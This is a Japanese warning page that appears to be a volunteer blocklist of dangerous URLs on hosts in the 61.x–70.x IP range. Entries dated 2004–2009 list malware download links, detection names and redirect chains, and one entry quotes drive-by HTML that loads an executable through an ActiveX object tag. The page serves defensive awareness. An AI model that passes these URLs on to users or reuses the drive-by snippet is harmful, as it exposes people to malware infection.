Kiken URL List

Kiken URL List

http:// IPアドレスから始まるURL ( 61.0.0.0 ～ 70.255.255.255 )

このページは危険と思われるURLでhttp:// IPアドレス から始まるURLを掲載していますが、
そのうち、http:// 61.0.0.0 から http:// 70.255.255.255 までを掲載しています。
他のサイトからこのページに来られた方は最初に Kiken URL List のトップページをよく読んでください。

Kiken URL List の見方

通し番号．

URL（数字→アルファベット順）
[確認日/掲載日]　鑑定結果/解説

　　← このようになっています。

通し番号はページ更新毎にURLの追加／削除があり、更新するたびに変動する、と思ってください。

http://61.19.252.95/apaches.gif

[2009/05/12] ファイルサイズ：437 KB 。gif 画像ではない。
バスター無反応だが、他社製ウィルス駆除ソフトによっては反応があると思われる。

http://61.19.252.95/apachew.gif

[2009/05/12] ファイルサイズ：205 KB 。gif 画像ではない。
バスター無反応だが、他社製ウィルス駆除ソフトによっては反応があると思われる。

http://61.129.45.132/zt.exe

[2008/11/12] ウィルス名：PAK_GENERIC.001

http://61.160.213.143/ma/cw01.exe

[2008/11/28] ウィルス名：TROJ_DLOADER.PDC

http://61.160.213.143/ma/cw02.exe

[2008/11/28] ウィルス名：TSPY_MAGANIA.DI

http://61.160.213.143/ma/cw03.exe

[2008/11/28] ウィルス名：TSPY_ONLINEG.GAG

http://61.160.213.143/ma/cw04.exe

[2008/11/28] ウィルス名：TSPY_ONLINEG.GAH

http://61.160.213.143/ma/cw05.exe

[2008/11/28] ウィルス名：TSPY_ONLINEG.FAW

http://61.160.213.143/ma/cw06.exe

[2008/11/28] ウィルス名：MAL_OLGM-6

http://61.160.213.143/ma/cw07.exe
http://61.160.213.143/ma/cw08.exe
http://61.160.213.143/ma/cw09.exe
http://61.160.213.143/ma/cw10.exe
http://61.160.213.143/ma/cw11.exe
http://61.160.213.143/ma/cw12.exe
http://61.160.213.143/ma/cw13.exe
http://61.160.213.143/ma/cw14.exe
http://61.160.213.143/ma/cw15.exe
http://61.160.213.143/ma/cw16.exe
http://61.160.213.143/ma/cw17.exe
http://61.160.213.143/ma/cw18.exe
http://61.160.213.143/ma/cw19.exe
http://61.160.213.143/ma/cw20.exe

[2008/11/28] ウィルス名：TSPY_ONLINEG.IA

http://61.160.213.143/ma/cw21.exe

[2008/11/28] ウィルス名：RTKT_AGENT.BAAC

http://61.160.213.143/ma/cw22.exe
http://61.160.213.143/ma/cw23.exe
http://61.160.213.143/ma/cw24.exe
http://61.160.213.143/ma/cw25.exe
http://61.160.213.143/ma/cw26.exe
http://61.160.213.143/ma/cw27.exe
http://61.160.213.143/ma/cw28.exe
http://61.160.213.143/ma/cw29.exe
http://61.160.213.143/ma/cw30.exe

[2008/11/28] ウィルス名：TSPY_ONLINEG.IA

http://61.162.230.89/jj/cc.exe

[2008/07/26] ウィルス名：TSC_GENCLEAN＋PAK_Generic.001

http://61.164.118.208/new/new1.exe

[2008/09/24] ウィルス名：CRYP_MANGLED

http://61.164.118.208/new/new2.exe

[2008/09/24] ウィルス名：WORM_AGENT.AIAN

http://61.164.118.208/new/new3.exe

[2008/09/24] ウィルス名：TSPY_ONLINEG.IA

http://61.164.118.208/new/new4.exe
http://61.164.118.208/new/new5.exe

[2008/09/24] ウィルス名：CRYP_MANGLED

http://61.164.118.208/new/new6.exe

[2008/09/24] ウィルス名：TSPY_ONLING.GY

http://61.164.118.208/new/new7.exe

[2008/09/24] ウィルス名：CRYP_MANGLED

http://61.164.118.208/new/new8.exe
http://61.164.118.208/new/new9.exe
ウィルス名：TSPY_ONLINEG.IA

[2008/09/24]

http://61.164.118.208/new/new10.exe

[2008/09/24] ウィルス名：TSPY_ONLINEG.NFR

http://61.164.118.208/new/new11.exe

[2008/09/24] ウィルス名：CRYP_MANGLED

http://61.164.118.208/new/new12.exe
http://61.164.118.208/new/new13.exe
http://61.164.118.208/new/new14.exe
http://61.164.118.208/new/new15.exe
http://61.164.118.208/new/new16.exe
http://61.164.118.208/new/new17.exe
http://61.164.118.208/new/new18.exe

[2008/09/24] ウィルス名：TSPY_ONLINEG.IA

http://61.164.118.208/new/new19.exe

[2008/09/24] ウィルス名：TSPY_ONLINEG.LYD

http://62.21.83.40/~mariusz/webreporter/postcard.exe

[2008/10/20] ウィルス名：TROJ_DROPPER.HOZ

http://62.75.220.135/~michael/postcards.gif.exe

[2007/01/11]

二重拡張子。2006/12/29 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：TROJ_MULTDROP.FT として検出するよう対応、とのこと。
実際に 2006/12/29 にDLしたファイルからウィルス名：TROJ_MULTDROP.FT を検出することを確認。
しかし、今日改めて当該URLを調べてみるとアクセス禁止：「Access forbidden ! Error 403」になっていた。
サイト自体は生きているので注意。

http://63.217.29.115/cax.cab
http://63.217.29.115/cax_gb.cab

[2005/03/04] ウィルス名：SPYW_SMALL.AZ

[2005/12/03] 再確認。ファイルが無い模様。

http://63.217.31.30/umx.shtml

[2005/09/10]

踏むとこんな感じのページ。
しかし、ステータスバーに「ページ http://82.179.166.69/dia152/ を開いています ...」と出ている。
//82.179.166.69/dia152/　← このURLのある相手サーバーが非力のようで、繋がったり、繋がらなかったりする。
繋がった場合はウィルス名：JAVA_BYTEVER.A-1 を検出する。

http://63.218.226.78/connect.php?id=3

[2005/08/28]

真っ白なページだが、何かを呼び出している形跡がある。
これを表示する。拒否すると少しの間、何も無いが、その後、ウィルス名：JAVA_BYTEVER.A を検出。

http://63.218.226.78/dialarch.jar

[2005/08/28] ウィルス名：JAVA_BYTEVER.A

http://63.218.226.78/java.exe

[2005/08/28]

バスター無反応だが、以下のアンチウィルスソフトで反応。
AntiVir → TR/Dldr.Small.ask
ArcaVir → Trojan.Downloader.Small.Ask
Avast → Win32:Small-P
AVG Antivirus → Downloader.Small.39.AA
BitDefender → Trojan.Downloader.Small.ASK
ClamAV → Trojan.Downloader.Small-531
Dr.Web → Trojan.Ants
Fortinet → W32/Small.ASK-tr
Kaspersky Anti-Virus → Trojan-Downloader.Win32.Small.ask
Norman Virus Control → W32/DLoader.EEM
VBA32 → Trojan-Downloader.Win32.Small.ask

[2006/08/04]

2006/07/31 にトレンドマイクロ社に「java.exe」ファイルを提出。
今日、その結果の連絡があり、ウィルス名：TROJ_SMALL.CFL として検出するよう対応した。とのこと。
実際に当該URLから「java.exe」ファイルをDLしてウィルス名：TROJ_SMALL.CFL を検出することを確認。

http://63.219.181.7/cax.cab

[2005/06/20] ウィルス名：SPYW_SMALL.AZ
実行されるとWindowsフォルダに「OLE32WS.DLL」のファイル名でインストールされる。

http://63.219.181.7/download.php?did=od-padr95&country=xx

[2005/06/20] 「od-padr95.exe」というファイルが落ちてくるがウィルス名：DIAL_PORNDIAL.GT を検出。

http://63.219.181.7/MaConnect.cab

[2006/01/28] ウィルス名：ADW_ISTBAR.S

http://63.246.16.20/d/archive.jar

[2006/08/10] ウィルス名：JAVA_BYTEVER.AA

http://64.26.25.75/home.exe

[2009/08/08] ファイルサイズ：178 KB 。ウィルス名：WORM_SOHANAT.CO

http://64.26.25.75/zin.exe

[2009/08/08] ファイルサイズ：181 KB 。ウィルス名：WORM_SOHANAD.GD

http://64.26.25.75/zun.exe

[2009/08/08] ファイルサイズ：105 KB 。ウィルス名：WORM_VB.EIQ

http://64.28.184.181/download/641000.exe

[2008/07/26] ウィルス名：TSC_GENCLEAN＋TROJ_ZLOB.CNP

http://64.28.184.173/download/pageticket2000.exe

[2008/07/26] ウィルス名：TSC_GENCLEAN＋TROJ_ZLOB.DJU

http://64.62.232.4/gamesplayground/060548/uk/fullgames/fullgames.exe

[2006/08/10] ウィルス名：TROJ_AZ.A

http://64.156.31.77/100039/uk/dbgames/dbaccess.exe

[2006/12/30] ウィルス名：DIAL_SURFYA.A

http://64.156.31.77/100039/uk/dbgames/dbaccesspop.exe

[2007/01/11]

2006/12/29 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：DIAL_EGROUP.C として検出するよう対応、とのこと。
実際に 2006/12/29 にDLしたファイルと、今日改めてDLしたファイルからウィルス名：DIAL_EGROUP.C を検出することを確認。
2006/12/29 から今日までのファイルの置き換えは無いと推測される。

http://64.156.31.77/100039/uk/dbgames/dsldbaccess.exe

[2006/12/30] ウィルス名：DIAL_253.B

http://64.156.31.77/100039/uk/dbgames/old.dbaccess.exe.bak

[2007/01/11]

2006/12/29 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：DIAL_EGROUP.AN として検出するよう対応、とのこと。
実際に 2006/12/29 にDLしたファイルと、今日改めてDLしたファイルからウィルス名：DIAL_EGROUP.AN を検出することを確認。
2006/12/29 から今日までのファイルの置き換えは無いと推測される。

[2007/03/11]

再確認。ウィルス名：DIALER_CLICKYES2ENTER

http://64.156.31.77/100039/uk/dbgames/uk.exe

[2007/01/11]

2006/12/29 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：DIAL_DERBIZ.A として検出するよう対応、とのこと。
実際に 2006/12/29 にDLしたファイルと、今日改めてDLしたファイルからウィルス名：DIAL_DERBIZ.A を検出することを確認。
2006/12/29 から今日までのファイルの置き換えは無いと推測される。

http://64.156.31.77/nzgames.exe

http://64.156.31.77/nzgames3.exe

[2006/07/18]	2006/07/12 にトレンドマイクロ社にファイルを提出、ウイルスパターンファイル 3.569.00 にてウィルス名：DIAL_PORNDIAL.KP として対応とのこと。当ファイルをDLしてウィルスを検出することを確認。
[2006/07/18]	他の方の結果は以下の「」内。「このサービスはタダでなはい。電話回線繋いで、1分当り＄2.99+gstかかります。」というような英文のアラートが表示されたので拒否。」

http://64.156.31.79/100039/fr/ringtone/ringtone.exe
http://64.156.31.79/100039/it/ringtone/ringtone.exe

http://64.156.31.79/100039/uk/ringtone/ringtone.exe

[2006/08/18]

2006/08/12 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：DIAL_RAS.GQ として検出するよう対応した、とのこと。
2006/08/12 にDLしたファイルからウィルス名：DIAL_RAS.GQ を検出することを確認。
また、今日改めて当該URLからDLしてみてもウィルス名：DIAL_RAS.GQ を検出することを確認。

http://64.156.31.99/060010/uk/adult1/adult1.exe

http://64.156.31.99/060033/uk/adult1/adult1.exe

[2006/08/18]

2006/08/12 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：DIAL_RAS.GO として検出するよう対応した、とのこと。
2006/08/12 にDLしたファイルからウィルス名：DIAL_RAS.GO を検出することを確認。
また、今日改めて当該URLからDLしてみてもウィルス名：DIAL_RAS.GO を検出することを確認。

http://64.156.31.99/060219/ca/games2/games2.exe

[2005/07/20] ウィルス名：DIAL_PORNDIAL.FB

http://64.156.31.99/060219/se/fullgames/fullgames.exe

[2006/08/18]

2006/08/12 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：DIAL_RAS.GT として検出するよう対応した、とのこと。
2006/08/12 にDLしたファイルからウィルス名：DIAL_RAS.GT を検出することを確認。
また、今日改めて当該URLからDLしてみてもウィルス名：DIAL_RAS.GT を検出することを確認。

http://64.156.31.99/100105/tr/adult1/adult1.exe

[2006/08/18]

2006/08/12 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：DIAL_RAS.GS として検出するよう対応した、とのこと。
2006/08/12 にDLしたファイルからウィルス名：DIAL_RAS.GS を検出することを確認。
また、今日改めて当該URLからDLしてみてもウィルス名：DIAL_RAS.GS を検出することを確認。

http://64.156.31.99/ca/cust1_1/060150ca.exe

[2006/08/18]

2006/08/12 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：DIAL_RAS.GR として検出するよう対応した、とのこと。
2006/08/12 にDLしたファイルからウィルス名：DIAL_RAS.GR を検出することを確認。
また、今日改めて当該URLからDLしてみてもウィルス名：DIAL_RAS.GR を検出することを確認。

http://64.156.31.99/output/060517/uk/fullgames/fullgames.exe

[2006/08/10] ウィルス名：DIAL_FULLGAME.A

http://64.158.165.49/output/100039/nl/dbgames/dsldbaccess.exe

[2006/07/10] ウィルス名：TROJ_Generic

http://64.158.165.49/output/100039/uk/dbgames/dbaccess.exe

[2006/07/10] ウィルス名：DIAL_SURFYA.A

http://64.158.165.49/output/100039/uk/dbgames/dsldbaccess.exe

[2006/07/10] ウィルス名：DIAL_253.B

http://64.158.165.49/output/100039/uk/gegames/dslgeaccess.exe

[2006/07/10] ウィルス名：DIAL_ASD.A

http://64.158.165.49/output/100039/uk/gegames/geaccess.exe

[2006/07/10] ウィルス名：DIAL_ASD.B

http://64.158.165.49/output/100039/uk/surfya/dslsurfya.exe

[2006/07/10] ウィルス名：DIAL_253.B

http://64.186.138.100/u/b.html

[2004/11/20]	IE直踏みではHDDが唸りだし、そのうち落ちる。view-source:を付けてソースを見ると異様なことが分かる。暗号化された部分もあり、更に IFRAME SRC=file:// でハングさせようとしているらしい。
[2004/11/26]	高危険度ウィルスを３つほど持った無地のHPで、踏むと確実にウイルスに感染するらしい。
[2004/12/16]	インラインフレームの脆弱性を攻撃するページ。
[2004/12/31]	404を確認。
[2005/01/23]	直踏みでは404でバスター無反応だがこのサイトは生きているらしい。

http://64.237.46.147/uk/sms.exe

[2005/07/20] ウィルス名：DIAL_MOLDCON.A

http://64.237.46.147/uk/smsfort.exe

[2005/07/20] ウィルス名：DIAL_TOP69.A

http://65.5.141.11/aspnet_client/system_web/2_0_50727/cartao.voxcard943.exe

[2009/08/08] ファイルサイズ：169 KB 。ウィルス名：TROJ_BANLOAD.AWK

http://65.18.209.152/bbs/include/cartaolindo.scr

[2007/02/19] ウィルス名：TROJ_Generic

http://65.101.39.28/_private/download/piercing/fotos.exe

http://65.101.39.28/_private/download/segunda/fotos.exe

[2007/01/11]

2006/12/29 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：TROJ_DLOADER.GRA として検出するよう対応、とのこと。
実際に 2006/12/29 にDLしたファイルからウィルス名：TROJ_DLOADER.GRA を検出することを確認。
しかし、今日改めて当該URLからDLしてみるとバスター無反応。
恐らく、2006/12/29 から今日までの間にファイルの置き換えがあったと推測される。

[2007/01/19]

2007/01/13 にトレンドマイクロ社にファイルを再提出。
今日、その結果の連絡があり、ウィルス名：TROJ_DLOADER.IDY として検出するよう対応、とのこと。
実際に 2007/01/13 にDLしたファイルからウィルス名：TROJ_DLOADER.IDY を検出することを確認。
しかし、今日改めてDLしたファイルにはバスター無反応。
2007/01/13 から今日までの間にファイルの置き換えがあったと思われる。

http://65.109.240.130/images/video-nude-anjelia.avi.exe

[2009/03/14] ウィルス名：TROJ_AGENT.AULZ

http://65.125.226.82/install.exe

[2005/05/05]

バスター無反応だが以下のアンチウィルスソフトでウィルスを検出。
BitDefender → ウィルス名：BehavesLike:Win32.ExplorerHijack
Kaspersky Anti-Virus → ウィルス名：Trojan-Dropper.Win32.Small.tc
VBA32 → ウィルス名：Trojan.LdPinch.3

http://65.125.226.86/traff/down.php?id=211

[2005/05/05]

ウィルス名：JAVA_BYTEVER.A。このセキュリティ警告を表示。
「いいえ」を選択するとこの小窓を表示。
小窓の「OK」を押すとHDDが唸り出し、再びこのセキュリティ警告を表示してウィルス名：EXPL_IFRAMEBO.A を表示。
「いいえ」を選択すると今度はこんな警告窓を表示。
このURLについて、

以下の３つのファイルを実行しようとするスクリプトがある。
①、//65.125.226.82/install.exe　← 金髪の女性のアイコン。ウィルス有り。詳細はURL解説を参照。
②、//65.125.226.86/traff/web.cab　←「msusb64.ocx」と「web.inf」が入っているがウィルス無反応。
③、//65.125.226.86/traff/web.exe　← 金髪の女性のアイコン。ウィルス有り。詳細はURL解説を参照。
IFRAMEタグで//65.125.226.86/traff/load/1.htmlを呼ぶ。ウィルス有り。詳細はURL解説を参照。
別窓で//65.125.226.86/traff/load/load.htmlが開くようになっているが、確認できなかった。しかし、このURLもウィルス憑き。詳細はURL解説を参照。

http://65.125.226.86/traff/load/1.html

[2005/05/05] ウィルス名：EXPL_IFRAMEBO.A 。こんな警告窓を表示。
ソースはほとんど暗号化され、読めないように工夫されている。

http://65.125.226.86/traff/load/load.html

[2005/05/05] ウィルス名：JS_PSYME.AF 。ウィルス検出後、すぐにアドレスが「res:///」に変わり、「ページを表示できません」となる。

http://65.125.226.86/traff/web.exe

[2005/05/05]

バスター無反応だが以下のアンチウィルスソフトでウィルスを検出。
BitDefender → ウィルス名：BehavesLike:Win32.ExplorerHijack
Kaspersky → ウィルス名：Trojan-Dropper.Win32.Small.tc
VBA32 → ウィルス名：Trojan.LdPinch.3

http://65.207.30.40/maps/tmp/vivo/TorpedoSMS.com

[2008/10/20] ウィルス名：TROJ_DLOADE.DSE

http://66.29.77.196/1494.exe

[2008/07/26] ウィルス名：TSC_GENCLEAN＋PAK_Generic.006

http://66.79.189.10/in.php?wm=zj

[2004/12/19] ウィルス名：JAVA_BYTEVER.A＋JS_SMALL.D

http://66.90.101.177/chimera/nDler.exe

[2009/03/15] ファイルサイズ：36 KB 。バスター無反応だが、他社製ウィルス駆除ソフトによっては反応する。

http://66.98.144.29/avir.cn.bin

[2005/12/07]

踏むと「avir.cn.bin」という名の拡張子：BIN のファイルが落ちてくる。
バスター無反応だが、以下のアンチウィルスソフトで反応。かなり危険なものと判断。
AVG → Klone
BitDefender → GenPack:Trojan.Downloader.Small.BFZ
Dr.Web → Trojan.Galapoper
Fortinet → W32/KlonePacked.B-tr
Kaspersky→ Packed.Win32.Klone.b
NOD32 → Win32/TrojanDownloader.Small.AVT
Norman Virus Control → Sandbox: W32/Malware; [ General information ]
VBA32 → Trojan-Downloader.Win32.Small.bwr

http://66.117.37.5/1/gdnJP155.exe

[2005/04/07]	ウィルス名：ADW_LOOK2ME.G
[2005/11/25]	以下のアンチウィルスソフトで反応。 AntiVir → Trojan/Dldr.Small.ayl.0 BitDefender → Trojan.Downloader.Small.AYL ClamAV → Dialer-306 Dr.Web → Trojan.DownLoader.3080 Kaspersky → Trojan-Downloader.Win32.Small.ayl NOD32 → Win32/TrojanDownloader.Small.AYL Norman Virus Control → W32/Downloader UNA → TrojanDownloader.Win32.Small VBA32 → Trojan-Downloader.Win32.Small.ayl

http://66.117.37.5/1/gdnJP263.exe

[2005/06/03]

中身はダイヤラー。バスター無反応だが、以下のアンチウィルスソフトで反応。
BitDefender → Trojan.Dialer.HT
ClamAV → Dialer-306
NOD32 → Win32/Dialer.NAD
Kaspersky Anti-Virus → Trojan.Win32.Dialer.ht
VBA32 → Embedded.Trojan-Downloader.Win32.Agent.li

http://66.117.37.5/connect.cgi?id=155

[2005/04/07]

踏むと真っ青なページ。このセキュリティ警告を表示し、「キャンセル」すると「実行しましたが、ページでエラーが発生しました。」となる。
これは//66.117.37.5/1/gdnJP155.exeをアプレット実行しようとするためであるが、IE最新バッチなら未実行で終わる。

[2005/11/25]

再確認。踏むとこんな感じのページだが、ダイアログを表示し、何かをインストールするよう促してくる。
このページのソースは以下である。
<html><head><title>Download</title>
<body bgcolor=#2c62a0 text=#ffffff onselectstart='return false;' ondragstart='return false;'>
<object onerror='ErrorActiveX();' id="A" classid="CLSID:3e77f89d-488d-3318-7a9e-7750643b1c3b" codebase="1/gdnJP155.exe"></object>
</body></html>
↑
ソース内の「gdnJP155.exe」はいくつかのアンチウィルスソフトで反応する。

http://66.117.37.5/connect.cgi?id=263

[2005/06/03]	踏むと真っ青なページだが、左上のほうに何かURLを呼び出している形跡あり。ウィルス名：JAVA_BYTEVER.A。こんな警告窓が出る。調べると、呼び出しているURLは//www.grannymax.com/test.htm また、objectタグを使って//66.117.37.5/1/gdnJP263.exeを実行しようとしている。
[2005/06/03]	再び確認してみると、object実行で１を、IFRAMEタグで２を呼び出す。１、//66.117.37.5/1/gdnFR263.exe　← ダイヤラー。２、//www.grannymax.com/test.htm　← 真っ白なページ。

http://66.152.93.119/ist/softwares/addins/istsvc.exe

[2009/08/08] ファイルサイズ：21.0 KB 。ウィルス名：TROJ_DLOADE.BQG

http://66.152.93.119/ist/softwares/bundlers/bundler_mpb.exe

[2009/08/08] ファイルサイズ：12.0 KB 。ウィルス名：TROJ_GENERIC

http://66.152.93.119/ist/softwares/istupdates/istsvc_updater.exe

[2009/08/08] ファイルサイズ：19.5 KB 。ウィルス名：TROJ_ISTBAR.DM

http://66.152.93.119/ist/softwares/v4.0/istdownload.exe

[2009/08/08] ファイルサイズ：41.5 KB 。ウィルス名：TROJ_DLOADER.CHX

http://66.154.7.76/user/ds/count4.jar

[2005/03/07]

踏むと count4.jar というJARファイルをDLさせようとしてくる。だが実際はZIPファイル。
DLして解凍するとウィルス名：JAVA_BYTEVER.A が4つ検出される。

http://66.194.38.28/dialer/belgio_ver10.CAB

[2006/11/16] ウィルス名：DIAL_ADPOWER.N

http://66.220.17.157/toolbar_uninstall.exe

[2008/10/20] ウィルス名：POSSIBLE_OBFUS-2

http://66.227.37.161/manual/howto/uia/cartao.scr

[2006/08/10] ウィルス名：TSPY_BANKER.BIW

http://66.227.37.161/manual/misc/cartao.scr

[2006/08/10] ウィルス名：TSPY_BANKER.BRB

http://66.227.37.161/manual/misc/Telemar.scr

[2006/08/10] ウィルス名：TSPY_Generic

http://66.230.143.209/loader/dploader.cab

[2005/01/25] ウィルス名：TROJ_SMALL.AA

http://66.230.146.2/sms_universe/sms-bm-intl6.html

[2005/05/30]

踏むと海外のリンク集のようなサイト。バスター無反応。アンチドートでウィルス名：Exploit.VBS.Phel.i を検出。
IFRAMEタグで以下の４つのURLを呼び出している。
//66.230.146.2/uk/lasse2.html　← このURL解説を参照。
//66.230.146.2/jimb_it.php　← 何も無し。
//66.230.146.2/gec_uk.php　← 何も無し。
//66.230.146.2/g-way.html　← 何も無し。

http://66.230.146.2/uk/lasse2.html

[2005/05/30] 真っ白なページ。ソースにコード変換している部分があるが、その中で //82.179.166.69/dia218/ を実行しようとしている。

http://66.230.167.104/
http://66.230.167.104/sout.php?fc=40

http://66.230.167.104/sout.php?fc=64

[2005/06/09]

数十回踏んで確認。以下のどれかに0秒REFRESHで飛ぶ。飛び先は他にもあるかも。

//70.84.89.146/MVV　← ランダムに色々な海外アダルトサイトに飛ぶ。何回か飛んだがウィルスは未検出。
//195.225.177.14/mmm/enter_to.html　← ウィルス憑きサイト。詳細はこのURL解説を参照。
//205.252.250.187/index.php　← ランダムに色々な日本語アダルトサイトに飛ぶ。何回か飛んだがウィルスは未検出。
//18plusbabes.com/gfc1　← 海外アダルトリンク集のようなサイト。ウィルス未検出。
//18plusteenz.com/　← 海外アダルトサイト。ウィルス未検出。
//18plusgirlz.com/TRAFPRO/SR53　← //18plusgirlz.com/ に飛び、海外アダルトサイト。ウィルス未検出。
//18plusteenz.com/vishz　← 海外アダルトリンク集のようなサイト。ウィルス未検出。
//bestnetporn.net/CV　← //bestnetporn.net/に飛び、海外アダルトサイト。ウィルス未検出。
//clean-thumbs.com/?id=my-teens2　← 詳細はこのURL解説を参照。
//nomadgirls.com/TRAFPRO/SR　← //nomadgirls.com/ に飛び、海外アダルトサイト。ウィルス未検出。
//novosearch.com/vishz　← //novosearch.com/ に飛び、海外アダルトリンク集のようなサイト。ウィルス未検出。
//pornforeva.com/gfy　← //pornforeva.com/ に飛び、海外アダルトリンク集のようなサイト。ウィルス未検出。
//redlanterntgp.com/?theadult.net　← 「Red Lantern」という海外アダルトサイト。ウィルス未検出。
//super-gals.com/?id=my-teens2　← 詳細はこのURL解説を参照。
//traffic-splitter.com/sgo.php?id=42　← 詳細はこのURL解説を参照。
//traffic-splitter.com/sgo.php?id=159　← 詳細はこのURL解説を参照。
//websherlok.com/lndex.php　← //websherlok.com/iresults.php?qq=Skin+Care に飛び、海外非アダルトサイト。ウィルス未検出。
//xxxmoviestv.com/gallery/movies_2-15.html　← 詳細はこのURL解説を参照。
//www.bigcocksex.biz/start.shtml　← 海外アダルトサイト。ウィルス未検出。閉じると別アダルトサイトを新窓表示。
//www.coolwebsearcher.com/welcome2.php　← 「CoolWebSearcher」という検索サイトだが、バスター無反応。しかし、ページ内でエラーが発生している。
//www.fullpool.com/　← 海外アダルトサイト。ウィルス未検出。
//www.tracktraff.cc/cnt/processor?johnbunny2　← 詳細はこのURL解説を参照。

http://66.230.175.139/sout.php?fc=38&backurl=http%3A%2F%2F66.230.175.142%2Ftds%2Fback.php%3Fid%3D210

[2005/12/24]

以下のどれかに飛ぶ。探せばもっとあると思われる。

//www.ukstories.net/exp/　← ウィルス検出。詳細はこのURL List解説を参照。
//www.marketersplace.com/search.html　← ウィルス検出。詳細はこのURL List解説を参照。
//hulksex.com/ts/in.cgi?r2d4　← 海外アダルトサイト。普通に閉じれる。
//www.coolwebsearcher.com/lndex.php　← //www.google.com/ に飛ぶ。
//websherlok.com/lndex.php　← //www.google.com/ に飛ぶ。
//servit-script.com/scripts/rep/?adult_all　← ランダムで色々なサイトに飛ぶ。
//backend.businesstraffic.com/perl/traffic_redirect.pl?jr.2ubio7eLn7eWouLq7SQ--　← ランダムで色々なサイトに飛ぶ。
//adultallfree.com/　← 海外アダルトサイト。普通に閉じれる。
//xxxsleuth.com/i1.php　← //xxxsleuth.com/ に飛ぶ。リンク集のようなページで普通に閉じれる。
//www.wellcams.com/affiliate/affiliate.php?id=19&group=4　← 海外アダルトサイト。普通に閉じれる。
//bigcocksex.biz/start.shtml　← 海外アダルトサイト。閉じると別窓表示１枚。普通に閉じれる。
//besteens.biz/　← 海外アダルトサイト。普通に閉じれる。
//oraleuro.com/getup.html　← //litevideo.com/incest1.html に飛ぶ。閉じると別窓表示一枚。普通に閉じれる。
//katya-video.com/getup.html　← 海外アダルトサイト。閉じると別窓表示１枚。普通に閉じれる。
//www.sexypicstgp.com/?poli05　← 海外アダルトサイト。普通に閉じれる。
//besthardcoregirls.com/　← 海外アダルトサイト。普通に閉じれる。
//search-porn.us/t1.php　← //www.google.com/ に飛ぶ。

http://66.230.175.142/tds/rdr.php?id=210

[2005/12/24] 下のURLに飛ぶので、そちらのURL List解説を参照。
//66.230.175.139/sout.php?fc=38&backurl=http%3A%2F%2F66.230.175.142%2Ftds%2Fback.php%3Fid%3D210

http://66.240.181.129/gs/899151401.exe
http://66.240.181.129/gs/899151402.exe
http://66.240.181.129/gs/899151422.exe
http://66.240.181.129/gs/899151423.exe
http://66.240.181.129/gs/899151426.exe

[2007/04/22] ウィルス名：DIALER_NEWDIALSPA

http://66.240.181.129/gs/dMF_608.exe
http://66.240.181.129/gs/dMi_382.exe
http://66.240.181.129/gs/dMi_389.exe
http://66.240.181.129/gs/dialer-501.exe
http://66.240.181.129/gs/gsa0001.exe

[2007/04/22] ウィルス名：DIALER_TELEASP

http://66.240.181.129/gs/gsa0395.exe

[2006/08/10] ウィルス名：DIAL_DIALER.HW

http://66.240.181.129/gs/gsa0572.exe

[2006/08/29]

2006/08/12 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：TROJ_Generic.Z として検出するよう対応、とのこと。
2006/08/12 にDLしたファイルからウィルス名：TROJ_Generic.Z を検出することを確認。
また、今日改めて当該URLからファイルをDLしてみてもウィルス名：TROJ_Generic.Z を検出することを確認。

http://66.240.181.129/gs/gsa0932.exe

[2006/08/10] ウィルス名：DIAL_CONNECT.D

http://66.240.181.129/gs/gsa0970.exe

[2006/08/29]

http://66.240.181.129/gs/gsa0977.exe

[2006/09/02]

2006/08/12 にトレンドマイクロ社にファイルを提出。
2006/08/29 にその結果の連絡があり、ウィルス名：DIAL_TELEASP.C として検出するよう対応、とのこと。
2006/08/12 にDLしたファイルからウィルス名：DIAL_TELEASP.C を検出することを確認。
また、今日改めて当該URLからDLしてみてもウィルス名：DIAL_TELEASP.C を検出することを確認。

http://66.240.181.129/gs/gsi0021.exe

[2006/08/10] ウィルス名：DIAL_PORNDIAL.AN

http://66.240.181.129/gs/gsi0029.exe

[2006/09/02]

2006/08/12 にトレンドマイクロ社にファイルを提出。
2006/08/29 にその結果の連絡があり、ウィルス名：DIAL_TELEASP.E として検出するよう対応、とのこと。
2006/08/12 にDLしたファイルからウィルス名：DIAL_TELEASP.E を検出することを確認。
また、今日改めて当該URLからDLしてみてもウィルス名：DIAL_TELEASP.E を検出することを確認。

http://66.240.181.129/gs/gsi0033.exe

[2006/09/02]

2006/08/12 にトレンドマイクロ社にファイルを提出。
2006/08/29 にその結果の連絡があり、ウィルス名：DIAL_TELEASP.D として検出するよう対応、とのこと。
2006/08/12 にDLしたファイルからウィルス名：DIAL_TELEASP.D を検出することを確認。
また、今日改めて当該URLからDLしてみてもウィルス名：DIAL_TELEASP.D を検出することを確認。

http://66.240.181.129/gs/gsi0045.exe

[2006/08/10] ウィルス名：DIAL_PORNDIAL.BE

http://66.240.181.129/gs/nd01145.exe

[2006/09/02]

http://66.240.181.129/gs/nd03147.exe

[2006/08/10] ウィルス名：DIAL_PORNDIAL.BF

http://66.240.181.129/gs/test.exe
http://66.240.181.129/gs/test00001.exe
http://66.240.181.129/gs/wgodmp1x.exe

[2007/04/22] ウィルス名：TROJ_GENERIC

http://66.240.181.129/gs/wvhtat9x.exe

[2007/04/22] ウィルス名：DIALER_TELEASP

http://66.240.181.129/start/start1.exe

[2007/01/11]

2006/12/29 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：DIAL_DIALER.MW として検出するよう対応、とのこと。
実際に 2006/12/29 にDLしたファイルと、今日改めてDLしたファイルからウィルス名：DIAL_DIALER.MW を検出することを確認。
2006/12/29 から今日までのファイルの置き換えは無いと推測される。

http://66.240.181.129/start/start2.exe

[2007/01/11]

2006/12/29 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：DIAL_DIALER.MX として検出するよう対応、とのこと。
実際に 2006/12/29 にDLしたファイルと、今日改めてDLしたファイルからウィルス名：DIAL_DIALER.MX を検出することを確認。
